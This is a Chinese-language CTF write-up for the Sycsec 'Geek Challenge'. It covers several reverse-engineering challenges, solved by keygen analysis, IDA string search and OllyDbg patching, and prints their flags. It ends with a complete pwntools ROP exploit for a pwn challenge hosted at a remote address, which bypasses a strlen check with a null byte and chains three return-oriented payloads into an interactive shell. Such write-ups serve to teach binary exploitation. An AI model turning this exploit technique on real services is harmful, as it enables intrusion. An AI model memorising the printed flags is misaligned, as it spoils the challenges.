Sycsec-极客大挑战-Writeup

<–more–>

前言

毕竟我不是搞web的,所以本文主要写的内容,主要是写二进制的,但是我也不是搞移动端和安卓的,所以我本篇文章的内容主要是reverse和pwn。
其次呢,因为笔者能力有限,所以如果有哪个地方写错了,或者写得不好,欢迎大家指出,谢谢。

比赛地址:http://geek.sycsec.com/
还有一点就是,这个比赛是成信三叶草准备招新的题目,所以很多地方都是挺适合入门者学习的,所以大神就别来看了。
二进制题目打包下载

Ernie

这个题目挺有意思的
主要看的是名字的name的长度,幸运数字,以及Key的值

(运行截图)

贴出关键代码


这个题目逻辑还是挺清晰的,name是6位,key应该是16进制,也就是说2位转化成一个字符给S1,key本来应该是32位,那么S1将是16位

而这一段则说明了S1要与这里的红框的字符串相同,字符串是a_6sy2tcy3iy7se,所以输入的key应该就S1的16进制咯,
继续往下看

先进入 sub_8048717的函数看一眼

现在已知v6==6,这里不能让j小于0,所以反过来想,j只能为6,如果j小于6那么肯定就会小于0,就不对了。flag出不来了,所以j初始值是大于6的,到6停止,为达到停止条件,v3为6.
继续往下看,将s1与v3异或,然后转化成字符串,之后就得到flag了。

re100小透明

拿到文件 查壳,没有
打开程序

这看着像一个keygenme,问题来了帐号和密码是什么呢

这是关键代码,这里的逻辑是username和password的逻辑
,满足的逻辑是这样的:
usrname = ‘xxxxx’
buf = [11,70,23,32,32,61,17,44]
则key满足,ord(userame[i])-buf[i] = ord(key[i])
问题是这里我并不知道用户名什么,题目也没要求给,我看到程序的窗口有个Syclover,那么假定这是一个关于Syclover的keygenme的问题,尝试得到这个用户名的key

尝试提交,getflag
SYC{H3LLOCTF}

Re100-HelloWorld

这题就只是一个字符串比较
给新手一个技巧,在IDA中shift+F12可以搜索字符串

可以看到几个关键字符串,不知道为什么please input your name的字符串进去之后找不到关键,我索性单机“please input your PassWord”,
这里还有一个技巧,将鼠标放到关键地方,按‘X’键可以查看交叉引用

点击OK

看到了这里有按位进行的字符串比较,但是这里只能看到ascii码不知道,所对应的字符是什么,这里还有一个技巧,是IDA的R键,可以将16进制转成字符

所以最后的结果是 SYC{Hell0_W0rld}

re50-送福利拉

这题是一个有多解的题目。。。很尴尬阿
打开OD去跟,
是一个立即数的比较

找到这个call,F7跟进去

几个比较都是上面的语句,其中ss:[ebp+eax-0x40],只有eax的值是变化的,eax又是取出我们的输入,所以调整我们的输入,就可以控制byte ptr ss:[ebp+eax-0x40]的值,使跳转条件不成立。这几个比较中,是分别与2、8、9、3、9、8、9、8,然而是栈中有这几个数的地方,就是上面提到的两串立即数。所以要调整输入,使ss:[ebp+eax-0x40]的值分别为2,8,9,3,9,8,9,8的栈地址。
所以只要控制我的输入,到和几个立即数相符就好了,我这里得到的是 20161010
所以我这的flag是 SYC[20161010]

Re200-你们要的极乐净土

听了极乐净土根本停!不!下!来! 听说只要绕过这些弹出的对话框就可以得到flag了,完全不用逆向哦。 have fun :) 提示:inline hook

这个题目音乐太好好听了,我都舍不得停下来了。恶心的是这弹窗好可怕,还好的是题目说了,弹窗没了,flag就出来了,这不就是咱们经常遇到的去广告,去弹窗的问题吗。
用OD加载,
以为去窗口我直接,Ctrl+G,找到我要去的API

点击确定,

在这个地方下段,并且将push ebp改成ret 直接让他返回

F9运行到断点,输入flag,等待几秒钟加密后的flag就出来了所以这里的flag是
SYC{F6A9D22C3018693B2FCC1B2D357F7AEAc}

pwn200-Rop-rop-rop

听说真正的魔法师都会rop,你是他的粉丝吗?https://pan.baidu.com/s/1o8Tipw2 nc 222.18.158.228 12341 (pwn的题目有加分哦,此题解出得400分)

最后是一个pwn的题目,毕竟是给新人做的,这个题目还是满友善的,step都告诉我们了,先用IDA打开。

这里的关键是怎么绕过if ( strlen(p) > 7 )的判断,我选择用
\x00进行截断。

题目还给了不少提示,题目的名字和这里都很明显的告诉我们要有三个的rop,那就顺着题目的意思来吧,这里进行构造payload,
rop链还要符合step1-3的check

看一下step3的伪代码

题目也给我们提供了一个cmd这还是蛮友好的。。。

所以最后的exp已经很好写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

r = remote("222.18.158.228",12341)
# print r.recvuntil("Input")

step1Addr = 0x0804871e
step2Addr = 0x08048766
step3Addr = 0x080487a3
mainAddr = 0x0804867d

shellcodeBuf = 'a'*7 + chr(0) * 9

payload1 = shellcodeBuf + p32(step1Addr) + p32(mainAddr) + p32(0) + p32(0x41414141) + '\xd5\xc4\xb3\xa2'

payload2 = shellcodeBuf + p32(step2Addr) + p32(mainAddr) + p32(0xff25a7d4)+ p32(0x41414141)

payload3 = shellcodeBuf + p32(step3Addr) + p32(mainAddr) + p32(0xffffffff) + p32(0xc0c0c0c) + p32(0x9a829a82)

r.sendline(payload1)
r.sendline(payload2)
r.sendline(payload3)

r.interactive()